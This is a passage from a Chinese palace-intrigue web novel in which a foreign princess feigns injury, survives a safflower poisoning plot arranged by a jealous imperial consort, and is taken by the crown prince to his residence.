“娘娘,殿下这伤势极重,六十鞭子下来,皮开肉绽不说,还伤及了筋骨,后续若不好好调养,恐会落下病根,日后每逢阴雨天,这背便会疼痛难忍。” 高贵妃闻言,眼中闪过一丝狠厉,双手死死攥住锦帕,几乎要将那帕子绞碎。 “本宫的皇儿何曾受过这般苦楚!那凰仪公主真是胆大包天…………” 身边的秋嬷嬷急忙拉了拉她的衣袖,高贵妃才收敛了戾气。 “劳烦太医了,太医去给秦王煎药吧,等到秦王养好了身子,本宫必有重谢。” 太医听了才恭敬的开口。 “是,微臣这就去。” 直到太医走了出去,高贵妃在满脸恨意的开口。 “秋嬷嬷,本宫要那个凰仪公主死。” 秦王对于娘娘来说,那就是心头肉啊,没想到这个凰仪公主居然让殿下受了这么重的处罚,秋嬷嬷急忙安抚。 “娘娘,您别气坏了身子,现在凰仪公主住在皇宫里,咱们总有机会的。” 高贵妃听得眼里一抹算计。 “对,这里是天元皇宫,本宫想要弄死她多的是机会,秋嬷嬷,让人给本宫盯住凤仪宫的一举一动。” 凤仪宫。 商玄澈看着醒过来的沈安若,一脸的关切。 “若若,你终于醒了!可有哪里不舒服?” 沈安若笑了笑。 “别担心,我没事。” “秦王醒了吗?” 商玄澈沉思片刻。 “应该是还没有醒的,若是醒了,陛下只怕是要过去探望了。” 沈安若听了微微点头。 “既然秦王殿下都没有醒,那我自然也是昏迷着的,在秦王醒来之前,我就继续在凤仪宫养伤吧,只是叨扰了皇后娘娘。” 商玄澈听了却开口道。 “若若,回太子府养伤吧。” 婚期还没有定下来,秦王向来又喜欢跟自己抢,自己要把人带回太子府,昭告天下,她是自己的太子妃。 沈安若闻言眼里露出一抹狡黠的笑意,看着商玄澈的眼睛。 “怎么?这是想宣誓主权啊!” 小心思被拆穿,商玄澈没有半点的不好意思,看着沈安若目光坚定的开口。 “你本来就是我的太子妃,住在太子府理所应当。” “我已经让人去催促钦天监了,婚期会很快定下来。” 沈安若伸手握住他的手。 “那就等成亲了再说,商玄澈,这是两国联姻,若是我当真住太子府去,只怕明日天元就要传凰仪公主不知检点了。” 商玄澈听得脸上一怒。 “我看谁敢!” 沈安若拍了拍他的手背。 “好啦,等到秦王醒来了,我就回驿站去,我在驿站等你来娶我。” 商玄澈虽心中不舍,却也明白沈安若所言极是。两国联姻,容不得半点差池,稍有不慎,便可能引发两国纷争。 “若若,你放心,我定会尽快定下婚期,风风光光地迎你入太子府。” 商玄澈目光灼灼,声音里满是坚定。 迎着他灼热的目光,沈安若眸光一变,这张脸,蓝颜祸水啊,忍不住抬手轻抚着商玄澈的侧脸。 “好,我等着。” 此时凤仪宫的正殿里。 皇后满面愁容。 胡嬷嬷给她端上一杯茶。 “娘娘,可是为了凰仪公主发愁。” 皇后接过茶杯,叹了一口气。 “原本看着她怼高晚宁的时候,本宫还想着她是一个有胆识的姑娘,可是她怎么能怼陛下呢?虽然陛下因为她是南诏公主,一时间还没有问罪她。” “可是她这南诏公主的身份能够护着她一次两次,次数多了陛下也会烦的,这次太子已经因为她受了三十鞭子了,她这样莽撞的性子,还不知道要给太子惹多少事情。” 胡嬷嬷听了缓缓分析道。 “娘娘,凰仪公主来自南诏,蛮夷之地,性子自然…………原本太子殿下该定下的太子府应该是顾小姐的,顾小姐是咱们天元的才女,背后又是将军府………… “可是顾小姐已经成为秦王妃了,娘娘只怕是要为了太子殿下早做打算,毕竟太子殿下可是要登上那个位置的人,陛下虽然让天元跟别的国家联姻,但是绝对不允许下一任储君有外族血脉的。” 皇后听着忍不住伸手扶着额头。 “顾家与秦王联姻以后,秦王文有高相,武有将军府,原本想着,暂时让澈儿娶南诏公主,等着局势稳定一些,再给澈儿挑两个侧妃,让澈有一些助力,但是这次宴会凰仪公主这嚣张跋扈的性子,只怕是澈儿的侧妃也不好选啊!” 胡嬷嬷听了沉思片刻。 “娘娘,不如写信让表小姐回来。” 第八十四章 昏迷不醒 皇后抬头看着胡嬷嬷。 “你是说清舒。” 胡嬷嬷点了点头。 “对,能够与秦王妃才华一较高下的也只有咱们表小姐了,而且凰仪公主完全不懂天元规矩,这太子府也需要人打理啊。” 皇后赞同的点了点头。 “你说的有道理,可是太子对凰仪公主的态度你也看到了,清舒是本宫的亲侄女,本宫可不想委屈了她。” 胡嬷嬷赶忙劝道。 “娘娘,表小姐素来聪慧,又对太子殿下情深意重,想必她也是愿意为太子殿下分忧的。如今这局势,太子殿下身边急需得力之人相助。” “表小姐若能回来,一来可帮衬太子殿下,二来表小姐与凰仪公主年龄相仿,可以让凰仪公主多跟表小姐学一学天元的礼仪和规矩,避免下次再因为凰仪公主不知礼数的事情连累太子殿下。” 皇后听了沉思片刻。 “让本宫想想吧,这凰仪公主性子刚烈,也不知道能不能与清舒好好相处。” 翊坤宫。 昏睡了一夜,秦王悠悠转醒,看到床边的高贵妃,眼中满是委屈与怨恨。 “母妃,儿臣这顿鞭子,挨得实在冤枉!儿臣根本就没有推她,是她抓住儿臣的手打自己的,这个恶毒的下作女人。” 高贵妃听得脸上一怒。 “你的意思是她故意摔下台阶陷害你?” 秦王点了点头。 “对,她一直说话在激怒儿臣,然后趁机陷害儿臣。” “六十鞭子啊,儿臣只怕是一个月都下不了床。” “后面还要罚跪,她好歹毒的心思。” 高贵妃心疼地开口。 “皇儿,你且安心养伤,母妃定不会让你白白受这委屈。那凰仪公主,母妃定会让她付出代价。” 秦王咬牙切齿道。 “母妃,儿臣不仅要让她付出代价,还要让太子和那凰仪公主从此再无翻身之日。” 高贵妃闻言开口保证道。 “你放心,母妃不会让你白白受这么大委屈的,母妃已经让人盯着凤仪宫那边了,一定会好好的给凰仪公主一个教训。” 母子二人正在说着,外面传来一声高呼。 “皇上驾到。” 高贵妃一脸笑意的开口。 “启儿,你父皇还是最疼爱你的。你看一听说你醒来了,就急忙来看你。” 此时天元皇走进来,高贵妃急忙起身行礼。 “臣妾参见皇上。” 秦王也挣扎着要起身行礼。 天元皇走上前扶了一把高贵妃,看着床上虚弱的秦王开口。 “你好好的休息吧,就别起身了,昏睡一夜才醒来,害得朕也担忧得一夜都没有睡好。” 秦王脸色苍白的开口。 “是儿臣不好,让父皇担忧了。” 看着秦王虚弱的样子,天元皇眼里闪过一抹心疼,这是自己最疼爱的儿子啊。 “身上的伤感觉如何?还疼吗?” 秦王抬头看着天元皇眼睛都红了,一脸的委屈。 “疼,火辣辣的疼,儿臣睡觉都不敢躺着,只能侧着或者趴着。” “父皇,若是儿臣真的做错了事,父皇罚儿臣,儿臣心甘情愿受罚,可是这件事情儿臣是冤枉的,父皇我真的没有推凰仪公主,她这诬陷儿臣。” 天元皇宣誓眼里闪过一抹震惊,随即一脸怒意的开口。 “你说她陷害你的?” “可是当时大家都看到你打了她一巴掌,她也的确从台阶上摔下来了。” 秦王急切地辩解道。 “父皇,儿臣当时的确与她起了争执,但绝无将她推下台阶之意,两个合起来是大事儿,臣就算再不懂事,也是知晓分寸的,她故意抓住儿臣的手打了自己一巴掌,然后顺势往后倒去,制造出被儿臣推落的假象。儿臣当时被她气得头脑发昏,竟未察觉她的诡计,如今想来,她定是早有预谋!估计是因为生气父皇你罚了太子,然后她心有不服,就报复儿臣。” 天元皇眉头紧锁,目光在秦王和高贵妃脸上来回扫视,似在思索秦王话语的可信度。 高贵妃见状,赶忙跪地,泪眼婆娑道。 “皇上,启儿自幼心地善良,断不会做出如此狠毒之事,他是没有皇上你是知道的啊,那凰仪公主初来乍到,便如此心机深沉,陷害启儿,其心可诛啊!还望皇上明察,还启儿一个公道。” 天元皇沉默片刻,缓缓开口。 “朕去凤仪宫看看。” 凤仪宫。 沈安若正在吃着糕点,商玄澈看着一脸的内疚。 “若若,我让御膳房送一些吃的来,不能这样委屈你。” 沈安若急忙开口道。 “你可别,商玄澈,秦王还没有醒我就醒了,天元皇知道了,心里又要不平衡了,没事,这里的糕点也能充饥。” 商玄澈闻言沉思片刻。 “晚膳我在你这里用。” 沈安若听了再次拒绝。 “这不行,你陪着皇后娘娘用就好,商玄澈,皇上不傻,而且这宫里都是皇上的眼线,你听我的。” 二人正在说着,外面传来一声高呼。 “皇上驾到。” 沈安若急忙将嘴里的糕点吃下去,然后拿出一粒药吃下往床上一趟。 剑兰和王司记急忙收拾她的糕点,不让人看出痕迹。 天元皇走进来几人急忙起身行礼。 “参见皇上。” “见过天元陛下。” 天元皇走到一旁的椅子上坐下。 “凰仪公主还未醒?” 商玄澈一脸的担忧。 “是,太医说伤的太重,只能再等等。” 天元皇闻言皱了皱眉。 “一天一夜了,居然还未醒。” “周太医,你去给凰仪公主看看。” 周太医领命,快步走到床边,放下药箱,开始为沈安若把脉。 周太医的手指刚搭上沈安若的腕脉,眉头便微微一皱,心中暗自疑惑。 这脉象虽显虚弱,却并不似重伤昏迷之人该有的沉滞,反而隐隐透出一丝平稳。 “皇上,凰仪公主脉象已经平稳,只是不知为何一直没有醒过来。” 第八十五章 绝嗣药 王司记在一旁面色着急的开口。 “太医,我家公主都一天一夜未醒过来了,可否是因为伤到了脑子…………” 周太医听了又看了看沈安若的脑袋,这台阶上滚下来又是一个弱女子。 “不排除这种可能,若是脑子里面有瘀血的话,的确也能导致人昏迷不醒。” 王司记听得眼泪都掉下来了。 “这可如何是好?从南诏出发的时候,我们南诏皇千叮咛万嘱咐一定要照顾好公主,这才刚到了天元…………” 一边说着一边拿手帕擦拭着眼角的眼泪。 商玄澈眼里都是着急,内疚的开口。 “是本宫不好,没有照顾好她,对南诏皇食言了,王司记放心,既然已经定下了凰仪是本宫的太子妃,她不论怎么样都是本宫的太子妃,若是过了今天,凰仪公主还不醒,本宫就让人寻找天下名医,一定会让她醒过来的。” 王司记听了急忙感激的开口。 “妾身替公主多谢殿下。” 天元皇看着几人的反应,起身道。 “太子,朕还有公务要处理,你先照顾着凰仪公主,若是凰仪公主醒过来,派人来说一声。” 商玄澈拱手道。 “是。” 天元皇这才又看了一眼沈安若,然后离开。 走到门口的时候,皇后迎上来。 “臣妾见过皇上,皇上来看凰仪公主吗?” 天元皇微微点头。 然后就离开了,看着他这般冷漠的模样。 皇后眼里满是落寞。 胡嬷嬷在一旁小声的开口。 “娘娘,要不去看看凰仪公主?” 皇后微微摇头。 “等公主醒过来再去看吧,现在还是不要打扰了。” 然后又回了正殿那边。 房间里。 剑兰检查一番门外窗外。 才拿出药瓶在沈安若鼻尖晃了晃。 很快沈安若醒过来。 商玄澈上前坐到她的身边,一脸关切的开口。 “若若。” 沈安若身伸手摸了摸自己的头。 “这周太医是天元皇的人吧?” 商玄澈点了点头。 “是父皇的御用太医。” 沈安若无奈的开口。 “商玄澈,你这父皇疑心真重啊,这周太医给我扎针了,还好准备充足,不然今日还得出事。” 商玄澈急忙上前查看她的头。 “那你感觉怎么样,我这就让太医来………” 沈安若伸手握住他的手。 “没事,不过是疼了一下而已。” 而此时的御书房。 周太医恭敬的拱手。 “皇上,凰仪公主的确是晕着的,微臣还扎针试探了一下,只怕是脑子真的摔出问题了。” 想到了秦王的话,天元皇忍不住皱眉。 到底是秦王真的打了她还是她陷害秦王,若是陷害,她这代价也太大了,毕竟她要是真死了,和亲的事情也得搁置了。 直到晚上的时候,沈安若才在众人视线里醒过来,商玄澈也派人告诉了天元皇。 皇后与高贵妃相继来探望,沈安若都是那副有气无力的模样。 天元皇叮嘱周太医亲自给沈安若调理身体。 就这样,沈安若在皇后的凤仪宫又住了两天。 可是这看似平静的养伤还是出事了。 今日沈安若喝半碗药,因为觉得太苦,就放下了,可肚子一下子疼起来,疼得额头上都冒出了汗珠。 “疼…………” 商玄澈紧紧握住她的手。 “来人,传太医,让周太医来。” 周太医急匆匆赶来,身后还跟着几个小药童。他急忙上前为沈安若把脉,眉头越皱越紧,额头上也冒出了细密的汗珠。片刻后,周太医收回手,面色凝重地开口。 “殿下,公主这是服用了藏红花引起了腹痛。” 王司记看着周太医厉声开口。 “周太医,公主是喝了你们太医院送来的药开始肚腹痛的,天元陛下让你们给公主调理身体,就是这般调养的吗?” 怎么会是太医院送来的药出了问题,周太医脸色一下子苍白了几分,这可是和亲公主,要是出了事,自己这个太医也就当到头。 “王司记,这……这着实冤枉啊!太医院送来的药皆是按照常规药方煎制,而且凰仪公主乃是和亲公主,陛下再三叮嘱过要让我尽快调理好凰仪公主的身体,我不过就是一个太医,又怎么会害凰仪公主。” 王司记端来桌子上的碗,里面还有小半碗的药汁。 “是不是你们太医院的药有问题?周太医自己查看。” 周太医很快接过药汁检查。 脸色大变。 “这怎么可能?” “太医院送过来的药怎么会有这么多的红花?” 一旁的商玄澈冷声开口。 “苍术,带人围了太医院,今日当值的所有人都不得离开。” 这么大的动静,自然是惊动了天元皇。 甚至整个后宫都被惊动了。 天元皇坐在主位上,忍不住感觉头疼。 “周太医,这到底怎么回事?” 周太医拱手道。 “皇上,微臣也不知道怎么回事,但是微臣可以确定,公主今日喝的药不是微臣开的,这碗里被加了大量的红花。” 皇后听得担忧的开口。 “什么?红花,这红花大量食用可是会导致滑胎或者不孕的,凰仪公主这刚来天元到底是谁要害她?” 高贵妃听了低眉的眼里闪过一抹得逞,很好,一个不能生育的女子就是废物一个,在异国他乡,会比死还痛苦。 王司记朝天元福身,一脸的怒意。 “天元陛下,我们公主为了两国和平而来,刚到你们天元就被秦王殿下打了晕了两天,现在陛下你让你的太医给我们公主调理身体,这调理身体的药又变成了绝育之药红花,妾身斗胆,天元陛下是否是有意不让我们公主生下子嗣?” 天元皇皱了皱眉。 “王司记切莫胡说,凰仪公主乃是未来的太子妃,她以后的孩子就是朕的孙子,朕怎么会不让她生下子嗣,此事朕会查一个水落石出给公主一个交代。” 此时剑兰几乎半抱着沈安若出来,沈安若脸上都带着汗珠,紧皱的眉头显示着她此刻正在承受着痛苦。 商玄澈急忙上前。 “若若。” “你怎么不在房间里休息?这件事情本宫会查清楚,给你一个交代的,你放心,伤害你的人,本宫一个都不会放过。” 沈安若微微摇头。 “本宫倒是要看看是谁居然如此恶毒,居然给一个女子下绝嗣之药,顺便看看天元陛下如何断案的。” 第八十六章 指认 这凰仪公主的倔那是见识过的,明明上一次头部伤的很重,都还能够坚持看到秦王被打完鞭子才晕过去,天元皇无奈的开口。 “此事的确要给公主一个交代,既然如此,公主就坐下吧,这件事当着公主的面查。” 商玄澈看着她虚弱的靠在剑兰怀里。 也顾不得什么礼节了,将她打横抱起,走到一旁的椅子边。 “来人,给公主拿两个软枕来。” 此时太医院当值的太医、药童以及负责煎药、送药的宫女太监都被集中起来,一一接受盘问。 这可是和亲的公主,一旦与这件事牵扯上,只怕是难逃一死,煎药的药童第一个开口。 “皇上饶命,太子殿下饶命,公主饶命,奴才只是按照方子上抓药煎药,就是给奴才一百个胆子,奴才绝对不敢在公主的药里面动手脚的啊。” “对了,奴才给公主煎药的药罐里还可以查出来,奴才就是按照方子煎药的,绝对没有任何的动作。” 天元皇朝身边的人使了一个眼神,立即就有人去查探。 负责送药的小太监立即磕头。 “皇上,皇上饶命,奴才也没有动任何的手脚,这几日公主的药都是奴才在送,奴才绝对不可能动公主的药啊。” 忽然送药的太监像是想起来了什么一般。 “皇上,太子殿下,公主殿下,奴才想起来了,奴才今日就如同往常那般的给公主殿下送药,可是走到一半的时候,奴才忽然腹痛难忍,见四下无人,就将药放在了亭子里,会不会那个时候药就出了问题?” 这个小太监的话立即引起了所有人的注意,如果他说的是真的,只怕那个时候就是被人换了药或者加了药。 商玄澈冷声开口,“你离开的时候,可有人看见你?” 小太监急忙磕头。 “没有,奴才路上没有遇到任何人。” 很快有人就将煎药的药渣也拿了过来,周太医做了对比以后。 “皇上,这凰仪公主的药里与这药罐里的要相比,红花的量加多很多,微臣刚刚又检查了一遍,应该是有人将红花磨成了粉,直接加入在了公主的药里,因为公主原本的要你就添加了少量的红花,活血化瘀,所以公主喝的时候很难察觉。” 王司记担忧的开口。 “周太医,我们公主喝了大半碗的药,这是不是以后很难再有孩子了?” 王司记这个问题一出来,整个大殿里的人都看着周太医,期待他给出一个答案,只不过心思各异。 皇后一脸的悲伤与愤怒,居然有人把手伸到凤仪宫来了,高贵妃眼里闪过一抹幸灾乐祸很快消失不见。 商玄澈则握住沈安若的手,眼眶泛红,眼里甚至还带着些许的内疚。 天元皇的神色复杂。 周太医拱手带着几分犹豫的开口。 “公主腹痛严重,还见了血,只怕往后要好好的调理身体了,要不然的确会影响子嗣问题。” 沈安若闻言眼泪一颗一颗的掉下来,伸手扶着自己的小腹,委屈巴巴的开口。 “姨母。” 王司记站在她的身旁,安抚的开口。 “公主,相信这件事,天元陛下一定会给我们一个合理的解释。” 说完抬头目光直视着天元皇。 “天元陛下,妾身说的可对?” 天元皇沉声开口。 “朕刚刚说过的,一定会给公主一个交代,公主也不必伤心,你是未来的太子妃,是太子的正妻,若是当真没有孩子,往后将太子府其他的孩子过继到你的名下就是,你放心,你永远都是与太子并肩的人。” 说的倒是冠冕堂皇,说不一定你的心里正高兴呢,沈安若带着哽咽的声音开口。 “那本宫就等着幕后凶手被揪出来。” 商玄澈握住沈安若的手,看向一众人,声音带着犀利威严四显。 “既然是有人将红花磨成了粉加在了这药碗之中,那么手里肯定还藏有红花。” “来人,给本宫搜,看看谁的手里有红花残留物,宫里一个角落都不许放过。” 天元皇见状不悦的看了一眼太子,自己还在这里坐着,他就敢发号施令。 可商玄澈的目光正落在沈安若的身上,看着她苍白的脸色,眼里都是心疼。 天元皇只好开口。 “按照太子说的去做。” 居然要搜宫。 高贵妃忍不住紧张的捏了捏手帕,随即又安慰自己,没事的,都做好后续准备的。 沈安若捏了捏商玄澈的手。 “送药的太监说,当时他把药放在亭子里的时候四周都无人,可是这里是皇宫里,四处都是当值的太监宫女,不可能在花园的位置真的没有人的。” 商玄澈听了点了点头,马上就会意到了沈安若的意思。 “传本宫命令,今日在御花园当值的人都可以提供消息,若是有人看到有谁接近了药碗,赏赐一万两,赐出宫。” 直到半个时辰以后,后宫都被搜了一遍。 陈平恭敬的朝皇上开口。 “皇上,宫里都搜过了,但是没有找到红花的残留物。” 此时苍术拿着一个记录册子走进来。 将册子递给商玄澈。 商玄澈看着册子缓缓开口。 “高贵妃娘娘,劳烦你解释一下,为什么最近你的翊坤宫开的药里都有红花,而且药还是拿回翊坤宫煎的?” 高贵妃听了开口道。 “太子殿下也说了这是药里面有红花,又不是翊坤宫只取走了红花,自从秦王受伤以后,本宫心情郁结,就找太医开了一些安神的药,或许是这安神的药里面加了红花,总不能因为本宫开过药,就将害凰仪公主的罪责扣到本宫的头上吧!” 商玄澈看了她一眼。 “高贵妃,你最好祈祷你真的喝了那么多副药。” “胡嬷嬷,你亲自带人查一查翊坤宫。” 胡嬷嬷听了急忙带着凤仪宫的宫女就去了。 高贵妃一下子站起来。 “放肆!本宫乃是皇上亲封的贵妃,本宫的寝殿岂是你说搜就搜的。” 随即朝天元皇跪下。 “皇上,太子这样明显就是有意要折辱臣妾,臣妾一个贵妃…………” 皇后在一旁开口道。 “贵妃,刚刚皇上已经准许搜索整个宫里,不过就是让胡嬷嬷在带人仔细检查一遍罢了,贵妃你这么慌是心里有鬼吗?” 很快,因为可以出宫,还可以有一万两银子,这简直就是天大的赏赐,有一个小宫女前来报消息。 “奴婢参见皇上,参见皇后娘娘,贵妃娘娘参见太子殿下,公主殿下,奴婢是御花园里面负责给花草剪枝的宫女。” “奴婢今日在御花园修剪花枝时,亲眼瞧见一个身着浅蓝色宫装的宫女,鬼鬼祟祟地靠近了那亭子里的药碗。她先是左右张望了一番,见四下无人,便迅速从怀中掏出一个纸包,将里面的粉末倒进了药碗里,还用一旁的树枝快速搅拌了几下,而后便匆匆离开了。” 小宫女话音刚落,整个大殿瞬间安静得落针可闻,所有人的目光都聚焦在了她身上。 浅蓝色的宫女服饰,这不就是翊坤宫的宫女吗? 商玄澈等人的目光看向了高贵妃身边的丫鬟身上。 高贵妃的眼神中闪过一丝慌乱,但很快又强装镇定。 商玄澈目光锐利,紧紧盯着小宫女,沉声问道。 “你可看清那宫女的模样?” 小宫女努力回忆着。 “奴婢不想惹事,一直都在暗中躲着,对于那个宫女的模样,记得不是很清晰,但若是再看到奴婢一定能够认出来。” 商玄澈听了缓缓开口。 “你可以抬头看看这里的人,若是你今日将人指出来了,本宫赐你万两银子,再许你出宫自由,你再也不需要在宫里做活计,你可以出宫过你想过的生活。” 自己本来就是奔着银子来的,有了银子,谁还在这里当奴婢,小宫女抬头看了一圈,伸手指着高贵妃身边的宫女。 “太子殿下就是她,她头上的红宝石发簪,奴婢记得很清楚,当时阳光照在她的发簪上,闪闪发光,奴婢不会看错的。” 第八十七章 她是臣的妻子 被指认的宫女是高贵妃的贴身宫女翠竹,翠竹瞬间脸色惨白,慌乱地看向高贵妃,眼中满是求救。 高贵妃也瞬间变了脸色,怒斥道。 “胡说!你这个小贱婢,竟敢陷害本宫的人!” 商玄澈冷冷地看着翠竹。 “将她带下去,严加审问!” 侍卫们立刻上前,将翠竹拖了下去。 翠竹惊恐地尖叫着,拼命挣扎。 “奴婢冤枉啊,皇上皇上,奴婢真的是冤枉的贵妃娘娘,贵妃娘娘,你救救奴婢…………” 很快外面就响起了鞭子的声音,直到一盏茶的时间以后,翠竹被拖进来扔在了地上。 商玄澈冰冷的声音响起。 “还不招吗?说,是谁指使你害凰仪公主?” 翠竹趴在地上颤颤抖抖的开口。 “奴婢冤枉…………” 此时胡嬷嬷也带着人进来了。 “皇上,皇后娘娘,太子殿下,公主殿下,奴婢带人在翊坤宫的花台里搜到了好几包药材,这里面都有藏红花的细沫。” 商玄澈抬头直视高贵妃。 “高贵妃娘娘现在作何解释?” 居然被发现了,高贵妃起身走到了翠竹身边,抬脚一脚踹在她的身上。 “贱婢,本宫平日里待你不薄,你老实交代你为何要害凰仪公主,给本宫招惹麻烦?” “凰仪公主乃是和亲公主,她要是有一个意外,你全家都不够陪葬的。” 翠竹抬头看着高贵妃的神色,心里一片冰凉,这是要自己顶罪啊,想到自己的母亲,还有兄长都在高贵妃娘家人手里做事,翠竹忽然抬头,眼里带着一抹疯狂的笑意。 “对,就是我做的,是我用贵妃娘娘的名义去太医院拿的药,我以前见过,太医院每次开安神药方的时候,里面都会加入一些红花。” “前两日贵妃娘娘休息不好,奴婢就提议让太医给娘娘开一些安神的药,奴婢去拿药的时候,果然看到要里面有红花,奴婢就给太医院的人塞了一点银子,说是懒得跑,让太医院的人多拿几副药给奴婢。” “奴婢家里面的红花挑选了出来,然后弄成了粉末,趁着送药的太监不在的时候,将红花的粉末放在了凰仪公主的药里面。” 高贵妃听得气愤的又踹了一脚。 “你这个该死的奴才,那是凰仪公主,你想死不要连累本宫。” “你说,你为何要做这样的事情?” 翠竹紧紧的捏紧了拳头。 “因为奴婢喜欢秦王殿下。” “可是凰仪公主一来就害的秦王殿下被打了鞭子,奴婢看着秦王殿下一身的伤心疼不已,秦王殿下乃是天人之姿,怎么容得一个异国公主陷害?” “奴婢就是不甘心,就是想让凰仪公主付出代价,让她知道秦王殿下不是她能够诬陷的。” 高贵妃见翠竹揽下了所有的罪责,心里松了一口气。 “皇上,是妾身管教不严,请皇上降罪,妾身没想到这个丫头居然对秦王动了这样的心思,还因此恨上了凰仪公主,都是妾身没有及时察觉,才让凰仪公主受到了伤害。” 皇后坐在一旁,神色冷峻,她缓缓开口。 “高贵妃,如今证据确凿,从翊坤宫搜出藏红花,你身边的翠竹又亲口承认是她所为,你若说与此事无关,实在难以令人信服。况且,翠竹口口声声说是以你的名义去太医院拿药,若没有你的授意,她又怎敢如此?” 高贵妃一听,顿时急了,她抬起头,眼中满是委屈与愤怒。 “皇后娘娘,您这话可真是诛心啊!臣妾向来敬重皇上,对皇上更是一片痴心天地可鉴,臣妾明知皇上看中这场联姻,怎么可能会去伤害凰仪公主?” 商玄澈看着地上的宫女,不过就是一只替罪羊罢了。 “贵妃娘娘协理六宫,怎么会连自己宫里的人行为都不知晓?到底是这个宫女因情自作主张,还是受人指使替人顶罪…………” 天元皇忽然沉声开口。 “行了。” “既然事情已经水落石出,太子就赶紧带凰仪公主去休息吧。” 扫视了一眼地上的宫女。 “来人,将这个残害凰仪公主的贱婢拉下去杖毙。” 沈安若眼里闪过一抹暗芒,这么明显的顶罪,天元皇不可能看不出来,看来这是有心要包庇啊,不愧是是宠妃,果然盛宠至极。 “天元陛下的意思,本宫被人害的很难生育,就处罚一个宫人就算交代了吗?” 天元皇皱了皱眉。 “凰仪公主,朕已经让人杖毙凶手,此事就到此为止吧,至于孩子的问题,朕说过往后可以从太子府过继一个孩子。” 沈安若眉间还带着一抹痛苦之色,眼里含着眼泪。 “天元陛下,这碗药到底是怎么回事本宫相信您的心里是有数的,你已说过,查出来会给本宫一个交代。” 高贵妃脸色一变,急忙跪地,声泪俱下道。 “皇上,妾身真的不知情啊!这宫女心怀不轨,因为觊觎秦王,做出这等大逆不道之事,妾身也不过是视察而已,妾身对皇上痴心一片,绝对不会做出让皇上为难的事情。” 商玄澈起身朝天元皇跪下拱手。 “陛下,凰仪公主为了两国和平而来,前几日被秦王打的伤才刚好一些,现在又被高贵妃身边的人下药影响了生育,此事若是南诏皇知道只怕是要心疼的,臣请陛下处置高贵妃,给凰仪公主一个交代。” “若不然,和亲公主在天元频繁遭受委屈,还险些丧命,只怕是南诏不满,朝中大臣也会觉得陛下处事不公。” 这是赤裸裸的威胁,若是今日自己不处置高贵妃,明日早朝就有大臣要死谏,天元皇脸色阴沉,整个大殿里气氛紧张。 皇后看着太子都跪下了,皱了皱眉缓缓开口。 “皇上,臣妾以为太子所言极是。凰仪公主远嫁而来,本就承受着诸多不易,如今又遭遇此等祸事,若不能给凰仪公主一个公道,只怕会让公主寒心。” 天元皇沉默片刻,目光冰冷的看着商玄澈。 “太子对凰仪公主还真是一片痴心啊。” 商玄澈眉头微皱,依旧跪着拱手,气势却不差天元皇半分。 “凰仪公主是陛下当初钦定给臣的太子妃,也是臣从南诏接回来的妻子,臣为人丈夫,自然要敬重爱戴呵护她。” 第八十八章 抱进太子府 这是在指责自己这些年对皇后不够敬重爱戴?天元皇脸色又沉了几分。 此时坐在椅子上的沈安若,忽然就一下子倒了。 剑兰担忧的声音响起。 “公主。” 商玄澈哪里还顾得着继续跪着,急忙起来去查看沈安若。 “若若。” 王司记看了一眼沈安若。 “天元皇,我们公主需要好好的调养身子,经过今日下药的事情,这皇宫里我们公主是不敢待了。” 天元皇看着脸色苍白的沈安若。 最终看了看高贵妃开口。 “高贵妃管束宫人不利,剥夺协理六宫之权,褫夺贵妃之位,降为德妃。” 高贵妃,不对,现在是德妃了,脸色苍白的坐下地上。 “皇上……………” 天元皇已经起身。 “这件事就到此为止吧。” “太子,钦天监已经看过了日子,腊月二十六就是一个好日子,适合你与凰仪公主大婚,你自己的妻子就自己照顾吧,带回太子府修养吧。” 话落,一个多余的眼神都没有,直接挥袖离去。 商玄澈听了抱着沈安若开口。 “臣多谢陛下。” 皇后在一旁开口。 “澈儿,要不还是让公主现在凤仪宫休息休息!” 商玄澈将沈安若抱了起来。 “多谢母后好意,儿臣还是带若若回家。” 走了两步,抱着沈安若回头。 “母后,今日若若也算得上是帮了母后,希望往后您也能护着若若。” 看着商玄澈抱着沈安若离开的样子,皇后看了看胡嬷嬷。 “嬷嬷,他这是什么意思?” 胡嬷嬷开口道。 “娘娘,太子殿下的意思,今日因为凰仪公主,德妃失去了协理六宫的权利,往后这宫里都是娘娘您一个人说了算,太子殿下想你记凰仪公主一个人情。” 皇后听得眉头微微一皱,低声呢喃道。 “还真是有了媳妇忘了娘。” 太子府的马车里。 沈安若已经醒过来了。 虚弱的靠在商玄澈的怀里,商玄澈揽着她。 “若若,你以后不能再拿自己冒险了。” 沈安若闻言开口道。 “我没怎么喝,就尝了一点,王司记对这种招数都熟悉的,察觉到了就提醒我了。” 伸手摸着她冰凉的手。 “可是你现在很虚弱。” 沈安若在他的怀里找了一个舒适的位置。 “虚弱肯定是真,我肚子疼也是真的,见血了也是真的………………” 商玄澈听得心里一惊。 “沈安若,你到底喝了多少?” 因为着急担忧说话的声音都忍不住颤抖。 沈安若急忙开口,语气里带着几分娇气。 “你这么大声做什么?吓到我了,知不知道?” “不是药的原因,是我刚好来月事了,肚子疼。” 然后直接躺在商玄澈的怀里,仰头看着他的脸,看看美男能不能解痛,伸手摸着商玄澈的脸。 “殿下会不会觉得我太有心机。” 商玄澈低头将自己的脸贴着她的脸。 “不会,只是觉得我太无用,才会需要我的妻子为我讨一个公道。” 这张脸看起来好看,摸起来也舒服,沈安若捏了捏他的脸。 “不是你无用,是天元皇偏心,我看得出来,朝中许多大臣都觉得你堪当大任,可惜了,天元皇眼睛不太好。” 小腹一阵疼痛传来,沈安若只感觉无语了,痛经居然能够痛成这样的,也是原主这副身体本来就营养不太好,这几天为了装晕,也没怎么好好吃东西,加上现在天气又寒冷,这来月事就更疼了。 看着她忽然皱眉,商玄澈关切的开口。 “很疼吗?” 沈安若看着他委屈巴巴的开口。 “嗯,很疼。” 商玄澈提高了声音吩咐了一句。 “苍术,加快速度。” 马车的速度加快了起来,沈安若伸手抓住商玄澈的手放在自己的小腹上。 “要不你给我揉揉,太疼了。” 给姑娘揉肚子,这简直就是生平第一次,商玄澈尝试着抚摸着她的肚子打圈。 “怎么样,有没有好一些。” 沈安若靠在她的怀里,这男人真是又好看又体贴。 “好一点了,玄澈,你真好。” 商玄澈继续给她揉着肚子。 马车里气氛有些暧昧,沈安若时不时的打量着商玄澈的脸。 知道她的那点小心思,商玄澈忍不住嘴角勾起一抹很淡的笑意。 马车外传来声音。 “殿下,到了。” 沈安若看了商玄澈一眼。 “劳烦太子殿下抱着我进府了。” 还是若若想得周到,宫里现在肯定派人盯着自己,商玄澈抱着沈安若下了马车,朝太子府走去。 一进府。 一个青年男子就迎上来。 “殿下。” 看了一眼商玄澈怀里沈安若,纪书川眼里闪过一抹惊讶。 